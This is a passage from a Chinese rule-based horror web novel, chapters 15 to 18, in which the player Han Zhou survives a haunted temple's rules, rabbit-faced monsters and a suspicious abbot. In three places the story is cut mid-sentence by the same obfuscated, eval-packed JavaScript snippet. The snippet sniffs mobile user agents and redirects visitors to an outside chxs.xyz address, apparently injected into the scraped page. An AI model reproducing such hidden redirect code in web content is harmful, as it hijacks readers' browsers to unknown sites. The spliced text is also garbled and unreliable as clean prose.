这灵古寺范围挺大的，韩舟和张姐一路问了好几个僧人，这才找到了斋堂的位置。斋堂建筑也颇为宏伟，飞檐翘角，红瓦白墙，朱漆大门前已聚集着很多人在等待开饭。 墙上写着几行红色的字，在雪白的墙壁映衬下十分醒目： 一、斋堂里只提供素菜，不能沾染一点荤腥。 二、先诵经后用饭，用饭期间不能说话。 三、碗里的饭要吃干净，一粒米也不能剩下。 四、斋堂里没有兔子，如果看到，那是幻觉，请无视。 “兔子？”韩舟想起了草丛中的那只红眼白兔。 身着靛蓝色袈裟的僧人站在斋堂门口，对着众人双手合十道：“各位施主，在斋堂用饭需守寺院的规矩，小僧会为你们讲一讲这些规矩，请施主们务必记在心中。” 听到规矩这个词，韩舟竖起了耳朵仔细聆听。 僧人接下来念了一些规矩，这些规矩竟和墙上规则的前三条差不多意思，却独独没有提到第四条里的兔子。 看来兔子很危险，韩舟想。 僧人念完规矩后，众人排队进了斋堂，在僧人带领下诵完经后开始领饭食。 饭菜很简单，一小碟青菜，一碗米饭，还有一碗豆芽汤。 这清汤寡水的，韩舟想起了隔壁房的女子，难怪她要吃疯了。 韩舟有些食不下咽，但想到规则里的必须吃完饭不能剩下一粒米，她只能强迫自己吃下。 斋堂里很安静，没有一人说话。 这段饭虽然吃得不愉快，却没发生什么奇怪的事，也没见到规则里的兔子。 把碗里的最后一粒米吞下，韩舟松口气似的把碗筷摆放整齐，拉着同样吃完的张姐准备赶紧溜。 “这位施主，请把米饭吃完。” 她听到旁边传来声音，侧目看去，僧人站在一张桌前对着桌边的人说话。 那桌前坐着个微胖的年轻男子，遍身绫罗，穿金戴银，一看就是富家子弟。男子没好气地说：“这么难吃你还让我吃完，我肯吃几口就不错了。” “这位施主，请把米饭吃完。”僧人又重复了一句，眼中血丝猛然增多。 “不好。”韩舟停住脚步，准备出言提醒。 “我就不吃怎么着？你知道我是谁吗？你知道我爹是谁吗？让你们主持来见我！”男子怒气爆发，把筷子掷于桌上，发出一声脆响。 15. 深山古寺（三） …这货谁啊？这么嚣张。原本想提醒他不要作死的韩舟闭上了嘴，用询问的目光看向张姐。张姐在她耳边小声道：“他是城中首富沈千山的独子沈蟠。” 哦，富二代啊。 僧人眼里布满血丝，目光如冰针般锁定在沈蟠身上。斋堂里一时鸦雀无声，虽然本来就挺安静的。 僧人森冷的目光在沈蟠身上停留良久，看得沈蟠都有些心虚，却仍嘴硬，“我告诉你，我爹和你们住持相熟，平日里给你们寺院添了不少香火…对本少爷尊重点，不然你…”没等他说完，僧人向他伸出手去… 沈蟠身上出了冷汗，“你干什么！你别乱来啊…”等看清僧人的动作后，他怔住了。 僧人伸手拿走了沈蟠的碗，把剩余的饭倒进了自己嘴里，一粒米也没剩下，满是血丝的眼睛从沈蟠身上移开目光，端着空碗转身走了。 韩舟也没料到会是这样的发展，这个npc明明违反了规则，为什么没受到攻击？ 此事应该不会这么简单。 沈蟠愣了半天，随后大笑几声：“早说让你们对本少爷尊重点，现在知道怕了吧。”沈蟠身旁一垂手侍立的小厮压低声音道：“少爷，老爷和夫人交代过了，我们来这要守寺里的规矩，更不要冒犯寺里的高僧…” “冒犯了又怎么了。”沈蟠瞪了小厮一眼，要不是爹娘逼着我，我才不来这破地方，房间小，饭还这么难吃，我也是没吃过斋饭才想尝个新鲜，早知道难吃成这样就不来了。” 小厮只得陪着笑：“夫人早知道少爷可能会吃不惯这斋饭，备了点心让小的带着，少爷一会儿吃那个。” “这还差不多。”沈蟠弹了弹衣服，“走走走，这地方真是一刻也不想留。”他站起身昂着头，主仆两个人大摇大摆出门去了。斋堂里又恢复了安静，只有筷子偶尔碰到碗沿发出的声响。 韩舟看着那主仆二人的背影，眉头微蹙。规则是绝对不可以违背的，只要违反任意一条要么会受到怪物的直接攻击，要么被污染意识，既然僧人没有出手攻击他，那么… 不过韩舟不打算管他，她并没有圣母到每一个npc都要救，一来没那精力，二来这个沈蟠嚣张跋扈看着讨厌。 入夜后，韩舟和张姐回了屋，灵古寺太大了，她打算先度过今晚，等明天白天再慢慢探索。 这房里的床又窄又硬，没黑猫客栈的床睡着舒服，韩舟睡得不太踏实，在床上翻来覆去许久才有了些许睡意，半寐半醒间，她听到了外面僧人打更的声音。 “咚、咚、咚”击鼓三声，子时了。 对面床的张姐翻身坐起，压的床板发出吱吱呀呀的声响。一片漆黑中韩舟看到张姐下了床。 “张姐？” “吵醒你了？我去上个茅房。”张姐轻轻推开了房门。 “没有，我也想去，我们一起吧。”她想到规则里的“子时以后尽量不要出房门，如非要出去须两人结伴。”她绝对不能让张姐一个人出房门。 夜晚的寺院幽寂凄清，走廊上纸糊的灯笼发出惨白的光，一片寂静中韩舟只听到自己和张姐的脚步声。茅房离房间还挺远的，她们走了好一段路才到，张姐一边嘴里嘟哝着“晚上不该喝水。”一边走进了茅房。 韩舟没进去，站在外面等她，夜里有些凉，一阵冷风吹来，她瑟缩了下，摸了摸肩膀，远处树影张舞狰狞，长高的杂草在风中像触手一样蠕动。 树影中倏尔有两个红点亮了起来，幽幽似鬼火，没等韩舟仔细看去，又一阵凉风拂过，红点闪烁了两下逐渐隐去，消失于如墨夜色中。 刚才那是什么？不知是不是被风吹的，韩舟的手脚有些凉。 好在张姐很快就出来了，两人回房的路上没什么异常的事发生。刚在房门口站定，韩舟看到了隔壁房的白衣女子，她也刚从外面回来，只有一个人，没有同伴在侧，身上携着一股夜里的寒气。 她双手紧紧捂着肚子，动作有些鬼祟，衣服下鼓鼓囊囊的，似乎揣了什么东西。韩舟远远看着她衣服里的东西好像动了一下。 白衣女子见到韩舟二人，立刻低下头去，裹紧衣服飞快钻进了房里。 韩舟没有管她，明天还得探索寺院，得赶紧睡了。进房后她躺倒在床上，合上眼开始酝酿睡意，刚才在树影中看见的那对红点总不停在眼前闪烁着，迷迷糊糊中，一股带着焦味的肉香钻进了她的鼻子。 韩舟吸了吸鼻子，一下清醒过来，这肉香十分诱人，把她的馋虫都勾了出来，她有点想吃烧烤了…可是，这寺里只许吃素，为什么会有肉的香味？她坐起身，隐隐听到隔壁传来“咯吱咯吱”的声音，她把耳朵贴近墙壁，这咯吱声更清晰了，似乎是在咀嚼骨头。 韩舟的手指划过冰凉的墙壁，在靠近床脚处的墙上发现了一个隐秘的小洞，虽然不知道为什么会有这个洞，但很显然，是因为这个洞她才闻到了肉香。 她趴下身，从小洞望了过去。 洞的那一边赫然是刚才在门口见到的白衣女子，她背对着韩舟的方向，手里捧着什么东西正大块朵颐，桌上烛火摇曳，橘色的光照耀下，能看见地上有一摊鲜血还有几撮沾满血的毛。 女子狼吞虎咽，仿佛饿了很多天，连骨头都不放过，大口嚼着才发出“咯吱咯吱”的声响。过了片刻，女子似乎察觉到了什么，猛地回过头来，一双混浊的眼睛充满了血丝。她起身朝韩舟这个方向走了过来。 韩舟还没来得及从小洞前移开，那双满是血丝的眼睛就猝不及防贴在了洞口！ 韩舟心脏差点跳出了喉咙口，急忙将头一偏，她略一思索，拿起枕头把那个洞堵了起来，重新躺回床上，安抚着狂跳的心脏。 这个npc刚刚子时后一个人出了门，现在又杀生吃肉，违反了两条规则。她的结局显而易见了… 只能明天早上再去看看她的情况了。 过了一会儿，韩舟的心跳渐渐平稳，睡意涌了上来… ……… 第二天早上，韩舟被寺院悠扬的钟声唤醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14420158|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩舟迷迷糊糊爬起，另一张床上的张姐也醒了，二人简单梳洗一番，穿戴整齐走出房门。 她想知道隔壁房的女子究竟怎么样了，于是走到房门前敲了敲，等了片刻，无人应答。她也不顾不得什么礼节，直接推开了房门。 房内无人，两张床一张上被褥凌乱，另一张是空的。她是出去了吗？ “有鬼啊！这地方有鬼！”院外传来一阵吵闹声。 韩舟大步走出庭院，发出吵嚷声的正是昨天在斋堂闹事的沈蟠，他面色发白，拽着面前的一位蓝衫僧人衣袖大叫着“有鬼”，僧人没有言语，只漠然看着他。旁边聚集了大批围观的人。 “你胡说个什么，这寺里有高僧坐镇，莫说鬼怪了，连鬼的影子都不会有。”围观中的一人反驳。 “你们不信我？”沈蟠面色白如纸，他扯过了一旁的小厮，“他也看见了！”小厮抖如筛糠，连连点头，“刚才我和少爷想要下山，遇上了鬼打墙，好不容易才逃回来。” 小厮边说边比划，终于将事情始末说个清楚。昨晚因沈蟠嫌弃床不舒服没睡好，一大早就闹着要回家，小厮没法只得跟随，谁知这山是根本下不去，刚走到山脚处就又回到了山门口，反复试了几次皆是如此。 众人只当他是胡扯，寺里僧人每日都会下山采买，也不见离不开这山。 “要不你们下山试试。”沈蟠急了。 “我们在这有高僧保护，为什么要下山？” “就是，下山后才是真的会遇到鬼怪，我才不去呢。” “说不定你遇到那鬼打墙，就是离开灵古寺导致的，在这寺里才能安全。” “你们…我不跟你们说了，我要见住持！”沈蟠气得大叫。 韩舟默默旁观，心里却清楚沈蟠主仆说的不是胡话。这上了山的人没法下山，就无法向外传递消息，难怪这位“镇魔驱鬼”的高僧有口皆碑呢。 她不想听众人在那继续掰扯，径直回了院。正好听到张姐喊她，“妹子，我们等会儿一起去斋堂用早饭吧。” 韩舟叹了口气，说真的，她现在是听到斋堂就头疼，可也没法，不得不吃，这寺里也没有别的吃的了。 韩舟和张姐来到斋堂，诵经后取了饭，早饭是一碗粥和一碟咸菜。 韩舟正坐于桌前苦着脸嚼着咸菜，忽而嗅到一丝烤焦的肉香味，这肉香味和她昨晚闻到的一模一样，她猛地抬起头，一个熟悉的身影从她身边飘过。 是住在隔壁的白衣女子，她头发依旧乱蓬蓬地披散在肩上，一身白衣衬的她身形更加单薄。 她不是说受够了这斋堂的饭了吗，怎么还会出现在这里？韩舟盯着她的背影，心里有些发慌。 白衣女子似有感应，转过头看着韩舟。 只对视这一眼，韩舟呼吸停滞了。 对方长了张兔子一样的脸。 她的脸上布满了雪白的绒毛，一双猩红的眼睛直勾勾地看着她，三瓣唇一张一合： “你能看得到我？” 16. 深山古寺（四） “你能看得到我？” 兔脸女的三瓣唇一张一合，缓缓吐出这几个字。 韩舟移开目光，面无表情地转过了头，把嘴里的咸菜咽了下去，端起碗开始喝粥，一套动作行云流水一气呵成。 斋堂规则第四条，斋堂里没有兔子，如果看到，那是幻觉，请无视。 韩舟决定无视这只兔子。 兔脸女见韩舟没有搭理她，猩红的眼像淬了毒般，流露出无限恶意，她走近几步，将毛茸茸的脸凑到了韩舟的颈边，幽幽地吹了一口气。 韩舟感到颈后凉飕飕的，汗毛都竖了起来，她咬了咬唇，看向对面的张姐，张姐也正喝着粥，察觉到韩舟的目光，抬起头对她笑了笑，似是完全没看到她背后的兔脸女。 韩舟环视四周，众人各自用饭，无人在意她这边。奇怪，斋堂里这么多人，为什么只有自己看到了兔脸女？ 韩舟想起了昨晚通过小洞看到白衣女子吃肉的场景，没猜错的话，那个肉应该是兔肉…这个npc接连违反了两条规则，因此被污染成了怪物，而自己是因为看到了她吃肉的过程，所以才被盯上了？ 兔脸女又将脸靠在韩舟颈上蹭了蹭，弄的她颈后一阵酥痒。韩舟做了个深呼吸，大口把碗里的粥喝干净，将碗筷摆在桌上：“张姐，我有点事要处理，先出去了。”张姐看了看她，点了点头，也没多问。韩舟快步走出斋堂，兔脸女紧紧贴在她背后，跟着她一起出来了。 韩舟向前走一步，兔脸女也向前走一步，像个甩不掉的影子。韩舟一路七拐八拐，走到一处僻静之地，她停下脚步，转过身直视兔脸女。 兔脸女的脸跟她贴得很近，红色的眼珠几乎要跳到韩舟身上，三瓣唇裂开露出一个诡异的笑。 韩舟握了握拳，猛地一下把兔脸女推倒在地，双腿压在她的身上，一手按住她的肩膀，另一个手从道具栏中唤出了板砖高高举起。 规则只说在斋堂里要无视兔子，可没说在外面也要无视。她没有用清除污染的道具，因为此类道具只有在人刚被污染的时候才有效，如果已经变成怪物那就回天乏术。 板砖快要落在那张兔脸上的时候，兔脸女猝然抽搐了几下，身体像个泄了气的气球瘪了下去，脸和四肢都缩进了衣服里。 韩舟吃了一惊，顿住动作。只见兔脸女像凭空蒸发了似的，转瞬只剩下一件白色衣裳飘落在地。韩舟掀开那件衣裳，里面钻出了一只红眼白兔。 大变活兔啊这是。 她觉得这只兔子有点熟悉，很像她昨天在草丛见到的那只。那白兔晃了晃耳朵，飞快地钻进了旁边的草丛中。 韩舟趴在地上陷入了深思，这究竟是白衣女子被污染变成了兔子，还是兔子变成了白衣女子？半晌，她站起身，想再去白衣女子房里看看。 她刚返回院子，就看到一位蓝衫僧人带着两位看着面生的女子走进院子，他把她们引到一间房前：“两位施主，今后你们就住这。” 韩舟惊愕，这不是白衣女子住的那屋么？她急忙问：“这位师父，原来住在这屋的姑娘呢？她搬到别的屋子去了吗？” 僧人正跟那两位女子说着话，听到韩舟询问停了下来，转过头用漆黑如墨的眼珠看着韩舟：“施主记错了吧，这屋里原来并未住人。” 韩舟心里翻起惊涛骇浪，白衣女子凭空消失了，而且别人似乎是不记得她了…她心里虽震惊，面上并未表露出来：“是我记错了，打扰了。” 白衣女子是变成兔子了吗？她现在无法得知答案。她决定把这事先放一边，眼下最重要的是去探索下这个古怪的寺院，早点找到通关的线索。 韩舟出了院门，顺着通幽小径往前走，地上散满了落叶，风中隐隐有桂香飘来。她路上经过了许多禅房、宝殿，都想方设法进去查看，没发现什么特殊的，好像这是一座再平常不过的寺院。 寺里的蓝衫僧人也像是普通的僧人，只是诵经礼佛，有的还好心给韩舟指路。当她旁敲侧击这个寺院发生过什么事的时候，僧人却避而不答，只是微笑。 韩舟从庙里出来的时候一无所获，她向远处眺望，碧空之下有一座巍峨挺拔的佛塔。佛塔又名浮屠，在古代是供奉舍利经卷或法物的地方。韩舟想要不去看看吧，说不定里面藏着什么秘密。 她来到佛塔下，周围环绕着一片郁郁葱葱的青绿色，塔前站着一个蓝衫僧人，他见了韩舟双手合十道：“施主，请止步。”看样子是不给她进去，韩舟仰头看了一眼佛塔，塔顶高耸入云，这里面会有线索吗？ 目前是无法进入查看了，看着满眼戒备的蓝衫僧人，韩舟不打算硬来，只得离开。要不等夜里守门僧人不在了再上这佛塔探探？不过规则里说晚上出去须得有同伴，难道得拉上张姐…她有些心累，这破游戏是越来越难玩了。 她转过身，余光瞄到了旁边的树林，树下站着一个小沙弥。 刚才那里有人吗？韩舟有些不确定。 小沙弥看起来才十三、四岁，长得白白净净的，穿着一件赤色的袈裟，圆圆的脸上挂着天真无邪的笑，他发觉韩舟在看他后，笑得更灿烂了。 规则里说，寺院里没有穿赤色袈裟的僧人，如见到，请无视他，更不要与他对话！ 韩舟立刻移开目光，朝着远离他的方向走了几步。屏息等待片刻后，她俯下身假装去捡地上的一片落叶，趁着低头的空隙向后方看去。 那穿赤色袈裟的沙弥不见了，他又是谁？韩舟站起身，揉碎了手里那片落叶。这个寺院真是“惊喜连连”啊。 探索寺院耗费了韩舟大半天时间，她没顾得上吃午饭，现在肚子咕咕直叫，韩舟想去趟斋堂了，俗话说得好，饿极了什么都觉得好吃，此刻她想起斋堂的饭也没觉得那么难受了。 在斋堂她终于吃上了热乎乎的饭，胃里涌起几分暖意，韩舟边吃边用余光观察四周，没有兔子，也没穿着赤色袈裟的僧人，很好，安全了。无意间她看到了沈蟠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459627|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小厮，他一个人孤零零坐在桌前行吃饭，而沈蟠不见人影。 也许沈蟠是嫌弃斋饭难吃，所以不来了？他先是没吃完米饭顶撞僧人，后又在寺院里大吵大闹，也是违反了两条规矩…韩舟想起了消失了的白衣女子，要不等会儿还是问问沈蟠的情况吧。 几口扒完饭，韩舟出了斋堂门，站在门口等那个小厮，好不容易小厮出来了，韩舟上前拦住了他，“这位兄弟，我有事找你们你家少爷，请问他在哪儿？” “少爷？”小厮面露疑惑，“我家少爷不在寺里啊。” …韩舟心里有种不好的预感：“怎么可能，今天早上我还看到你和你家少爷，你们两个想下山却下不去，是不是？” “姑娘你胡说什么呢。”小厮一脸莫名，“从一开始就只有我一个人上了山。少爷还好好在沈宅享福呢。” 韩舟又追问：“既然你家少爷没来，那你为什么要上山，而且为什么只有你一个人？” “这当然是…因为…”小厮眼中逐渐浮现起迷茫之色，“因为什么来着…我怎么想不起来了…”他神色僵了好一会儿，才道，“我不记得了，反正我是一个人上山的，也许因为这里有高僧保护，我就来了呗。” …韩舟无言以对，她略一沉吟，随手拉住从斋堂走出的一个人，问道：“请问你见过沈蟠吗？”据张姐所说，沈蟠在城里很有名，而且他那天在斋堂闹的动静很大，其他人多少应该有点印象。 对方怔了怔：“沈千山的儿子？他根本没上这寺里来。” 韩舟抿了抿唇。又一个npc消失了…这个怪谈违反规则的代价就是消失并被周围人忘记来过这里吗？那她为什么还记得？因为她是玩家？ 韩舟带着一脑子的疑问返回了房间，张姐不在房里。她和衣躺在自己床上，闭上了眼，一阵困意袭来，跑了一天真有点累… 不知不觉她竟躺在床上睡着了，醒来的时候窗外已漆黑一片，张姐还没有回来，之前在斋堂吃饭时也没看到她。 要不要出去找她？但寺院这么大，韩舟不知道张姐去了哪里，想找到她很困难，而且天都已经黑了，现在出去有违反规则的风险。韩舟想了想放弃了这个打算，她起身点亮了烛台，坐在床边等她。 时间一分一秒过去，韩舟逐渐焦虑起来，过了子时，张姐如果还一个人逗留在外，就是违反了规则。 “咚咚咚”三声，子时的击鼓声终是响起。 张姐仍旧没有回来，韩舟手心冒出了冷汗。 现在更无法出去找她了，子时以后，需得两人相伴才能出房门。 张姐究竟去哪了？ 就在她忧心忡忡之际，门外响起了脚步声。“吱啦”一声房门被推开了，张姐的身影出现在了门口。 韩舟激动地站起了身，却见烛火照耀下，张姐原本黑白分明的眼睛变得混浊，眼白里布满血丝。她动作僵硬地走进房里，看向韩舟，眼神没有了往日的和善，变得陌生又阴冷。 17. 深山古寺（五） “张姐？”韩舟试探地叫了一声。 张姐扯了扯嘴角，露出一个古怪的微笑：“妹子，我在外面看到了个好东西，你跟我一起出去看看？” 韩舟没有说话，张姐这样子一看就不对劲，还让她三更半夜出门，当她傻子呢！ 韩舟心里这么想，面上却笑嘻嘻的，她暗自取了张符纸捏在手心：“现在太晚了，有好东西也明日再看吧…对了张姐你刚去哪儿了，怎么这么晚才回来。” 她假装亲昵地揽住张姐的肩膀，将符纸悄悄贴在了她的后背，余光扫了一眼，符纸像染了墨一样迅速变黑。 张姐果然被污染了。 张姐一把拉住韩舟的手，语气中满是迫不及待：“不行，现在就去，再晚就看不到了。”说着就拽着韩舟往门外走，张姐的力气变得异常大，拽得韩舟胳膊生疼。 韩舟本想挣脱，想了想又放弃抵抗，她倒要看看被污染的张姐想搞什么事。她顺着张姐的拉扯走到门口，一脚跨过了门槛，张姐冲着她咧嘴一笑，用力一推将她推出了房门。 韩舟却拽着张姐的手不放，把她一起拉了出来。 一阵凉风吹来，房门“砰”地一声关上了，两个人站在庭院里大眼瞪小眼。 韩舟缓缓松开张姐的手，露出一个甜甜的笑，“张姐，别着急啊，到底有什么好东西给我看啊。” 张姐正用怨毒的眼神看着她，仿佛要把她生吞活剥。 走廊上的灯笼在风中微微晃动，两人站在黑暗中无声对峙了一会儿，张姐舔了舔嘴唇，先动了，她嘶吼一声向韩舟扑了过来，韩舟双手向前抵住她的肩膀，不让她靠近。张姐没有放弃，身子使劲向前倾，将脸凑向韩舟，阴森森开口：“你不觉得这寺里的规矩太多了吗？我们一起去个更快活的地方不好吗？” 这说的什么乱七八糟的…韩舟没搭话，只是一手用力抵住她，一手从道具栏取出清除污染的道具姻缘签，把签贴在了张姐额头上。 竹制的签发出“滋啦”的声音，冒出了几缕白烟，张姐在韩舟的钳制下不断挣扎，过了片刻，她混浊的眼睛中血丝散去，眼神恢复了清明。 张姐的身体放松下来，有些迷茫地望了望四周，“我这是…我怎么在这？” “张姐，你之前去了哪里？”韩舟扶住了她的肩膀，神色严肃地问道。 “我…”张姐皱着眉头努力回忆，脑海里闪过零星片段，却凑不出个完整的，“我只记得我去见了住持，然后…就到了这里…” “住持跟你说了什么吗？” “…我什么都不记得了…妹子，你说我这是怎么了？” 这个住持有问题啊…她握住张姐的手安慰：“没事，你可能就是太累了，睡一觉就好了。” “也是。”张姐打了个哈气，面露疲倦，“我是有些困了。”韩舟没再多说什么，扶着她进了屋，各自上床去。 韩舟躺在床上想，自己是时候去见一见这位“得道高僧”了。 第二天韩舟起了个大早，跟张姐打听了一番才知道，灵古寺的住持法号慈恩，是位已到古稀之年的老和尚，住在寺院西边角落的院里。 临走前，韩舟担心张姐再被污染，就将寺院的规则告诉了她，嘱咐她一定要遵守，张姐虽一脸疑惑不解，却也答应下来。 她按着张姐说的路线，找到了那处院落，这院子地处偏僻，不仔细找还发现不了。韩舟踏着青石小路走进院子，院里栽满绿竹，风吹竹叶，发出簌簌声响。 院中有张石桌，桌上摆着一局棋，有二人在对弈。其中一人是个慈眉善目的老和尚，应该就是慈恩法师了。老和尚对面是个白衣银冠的年轻男子，竟是先前和她抽到同支签的人。 他们正边下棋边交谈着什么，白衣男子身侧站着一着雪灰色衣衫的高马尾少年，手里抱着两把剑。 几人察觉韩舟到来，同时抬头，慈恩法师将手中的棋子放回棋篓中，站起身双手合十：“这位施主，请问有何事？” “额…”韩舟其实没想好理由，就随口开编，“啊那个…我叫韩舟，我听说法师会镇魔驱鬼，对你敬仰已久，一直想亲眼见一面，今日一见，果然有神仙风采！” “不敢当，姑娘谬赞了。”慈恩法师嘴里这么说着，面上却笑得皱纹都舒展开了。 果然人人都喜欢听彩虹屁。 韩舟仔细观察这慈恩法师，他身着靛蓝色袈裟，虽然年纪大了，脸上布满岁月痕迹，一双眼却甚是清亮，看着倒正常。为什么张姐碰到他就被污染了？还是说张姐又遭遇了别的事，违反了规则？ 不过在怪谈里，看着正常的也可能很危险。 一旁的白衣男子站起身，向韩舟施了一礼：“韩姑娘，在下白言。”韩舟看向他，只见他眉眼温润，嘴角含笑，也不知道有没有认出自己，她想了想，决定还是不提之前在佛殿里的事，免得尴尬，便只是回了个礼。 慈恩法师张了张口，欲说什么，又看了眼白言，见他对自己点了点头，便笑着对韩舟道：“韩姑娘既然来了，就一起喝杯茶吧。” 韩舟也没推辞，她本来就是来找线索的，问问住持或许能得知更多的事。 茶不一会儿就斟好了，白瓷茶盏里叶青水绿，清幽的茶香扑鼻而来。韩舟不怎么会品茶，浅浅喝了一口便放下了茶杯。 看着对面正细细品茶的慈恩法师，她懒得兜圈子了，清了清嗓子，直入正题：“法师，最近城外闹鬼，城内人心惶惶，你既然能驱鬼，能否下山将城外的鬼驱除呢？” 此话刚落，一旁的白言看向韩舟，眼里起了丝波澜。 慈恩法师笑了：“韩姑娘，你跟…这位白公子想到一块去了，只是…老衲一人之力有限，只能护住灵古寺这一方小小天地，恐怕要叫二位失望了。” 这话说的，不就是推辞不愿嘛，韩舟觉得，这慈恩法师会驱鬼一说根本就是假的。她顿了顿又继续问：“昨天我姐姐来找过法师，法师可还记得？” “昨日确是有位姑娘来找老衲，不过只问了老衲几句话便离去了。” “法师跟我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467998|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐说了些什么？” “这…老衲记不大清了。” “这么巧，我姐姐回去也是什么都不记得了，那法师有没有发现她有什么异常？” 慈恩法师端起茶盏的手停住，“韩姑娘这是什么意思，老衲和令姐只简单交谈了几句，这灵古寺也不会出现任何鬼怪，你可以放心。” 我信你个鬼，韩舟的耐心不太多，她决定放个大招。 “法师可还记得沈蟠？”韩舟追问。 慈恩法师的笑容蓦地消失了，他盯着韩舟，眼里多了几分冷意，“韩姑娘为何这么问？你在寺里见过沈蟠？” 果然，这法师也记得沈蟠！ 韩舟觉得她抓住了些什么，还欲再问。慈恩法师端着茶盏的手忽然抖了一下，泼出几滴茶水，溅在袈裟上。 “失礼了，老衲去换个衣服，片刻即回，二位请自便，不必拘束。”慈恩法师说罢便站起身，匆匆离去。 有古怪啊这和尚。 刚刚韩舟连环发问的时候，白言一直沉默不语，待慈恩法师走后，他将手中茶杯轻轻置于石桌上，缓缓道：“韩姑娘可是对慈恩法师有什么疑虑？” 我当然有疑虑，他最可疑。 不过韩舟不想跟白言说太多，她觉得说了对方也不会信：“没有啊，我跟法师只是闲聊而已。” 白言轻轻一笑，语调温和：“既然韩姑娘不愿说，在下便不问了。”说完这话，他身旁的灰衣少年抬头看了韩舟一眼，眼含警惕。 三人静默了一会儿，慈恩法师回来了，他依旧穿着件靛蓝色袈裟，手里端着一盘糕点，眉目含笑望着他们。 韩舟身上莫名涌起一股寒意，说不清是哪里不对劲。 慈恩法师坐了下来，将糕点置于石桌上，又为他们斟茶：“二位久等了，我准备了一些茶点，你们可边喝茶边吃。”他将两杯新倒的茶分别递给韩舟和白言。 “谢谢法师。”韩舟接过茶杯，见慈恩法师的身子微微前倾，领口衣服下坠，露出了里衫。她只扫了一眼，便如坠冰窟。 他蓝色袈裟里面穿了一件赤色袈裟！ 糟了，韩舟飞快放下手中茶杯站起身想开溜，微微犹豫了下，又拉上了坐在一旁的白言，冲着他身旁的灰衣少年说了一句：“快跑！”随后拉着白言一路狂奔出院落。 谁知刚迈出庭院一步，眼前的场景变换了。 四周出现一片矮树，耳边传来乌鸦哀哀的鸣叫，不远处赫然是寺院的山门。 这是怎么回事？韩舟懵了。 “韩姑娘。”身旁的白言唤了她一声。 “怎么了？”韩舟还处在震惊中，反应迟钝地转头看他。 白言看向韩舟的手，脸上依旧带着温和有礼的微笑。 韩舟这才想起自己还握着人家的手不放呢，她低头看了一眼自己紧握着的手…这只手骨节分明，白皙如玉，像是平日里养尊处优的，只是…韩舟用手指摩挲了下，他的指腹有层薄茧。 白言脸上的笑容渐渐隐去。 18. 深山古寺（六） 韩舟见状赶紧松开了他的手，有些尴尬：“对不住，你别误会啊，我当时是太着急了。” 白言淡淡道：“我没有误会，韩姑娘不必解释，我更想知道的是…”他的眼珠乌黑，没有笑意的时候宛如不见底的深潭，“刚才发生了什么，我们为什么会在这里？” 这…我还想知道为什么会在这里呢…韩舟心里默默吐槽，眼下这情况，两人成了一条绳上的蚂蚱，还是跟他说实话的好，不然怕他惹出什么乱子：“那个慈恩法师，我觉得他有问题。” 白言一副“果然如此”的表情：“可我之前问姑娘…” “之前不跟你说，是怕你不信，现在出现这种怪事，你总该相信了…”韩舟又把张姐、沈蟠等人的事告诉了他，她见白言听后神色淡淡，也不知道信了几分。 她犹豫了下，正想着要不要说出规则的事，白言脸色骤变，抓住了她的手臂，把她往身边一带，同时空中有道凌厉的寒光袭来！ 寒光擦着她的头顶闪过，几缕青丝飘落，韩舟扶着白言的手臂勉强站稳了，看了眼自己落在地上的头发丝儿，一阵怒意涌上心头，“是哪个混蛋要谋杀我！” 刚咒骂一句，雪灰色衣衫的少年从天而降，稳稳落在地面，他手握两把宝剑，其中一把剑尖直指韩舟：“妖女，你做了什么？是不是想害我家公子？” 你才是妖，你全家才是妖。韩舟正想着要不要给他的脑袋来一板砖，就听白言冷厉开口：“飞羽，住手，她不是妖邪。” 那个叫飞羽的少年听到这话，满脸不情愿地收起了剑，“公子，这个女子无缘无故拉着你跑，我追着你们突然就到了寺外，不是她使了妖术又是因为什么？” “使妖术的不是我，是慈恩法师。”韩舟压抑着怒气开口，这少年看着不过十四、五岁，放在韩舟那个世界还在上中学…算了，看他年纪小，不跟他计较。 “慈恩法师？怎么可能？他可是驱鬼的高僧。”飞羽不信，“还是你这个来历不明的女子更可疑吧。” “…随便你，我就是妖怪。你们离我远点，小心我吃了你们。”韩舟懒得跟他继续掰扯，丢下这句话，径自向山门走去。 好烦啊，听不进话的npc真的很烦人！韩舟真希望所有的npc都能像王铁柱和王田儿那样好沟通又信任她。想起王铁柱，韩舟又有点伤感。 韩舟走到山门前，只见高悬的匾额上，“灵古寺”三个大字的金漆有些斑驳脱落。 她看向墙壁，发现墙上的血字竟和之前不同了。 灵古寺来客须知： 一、这里是极乐净土，可以杀生也可以喧哗。 二、进了寺内不能上三炷香，可以多也可以少。 三、佛像永远在笑，不会发出哭声，如听到哭声，请当成幻觉，闭上眼睛等待一分钟。 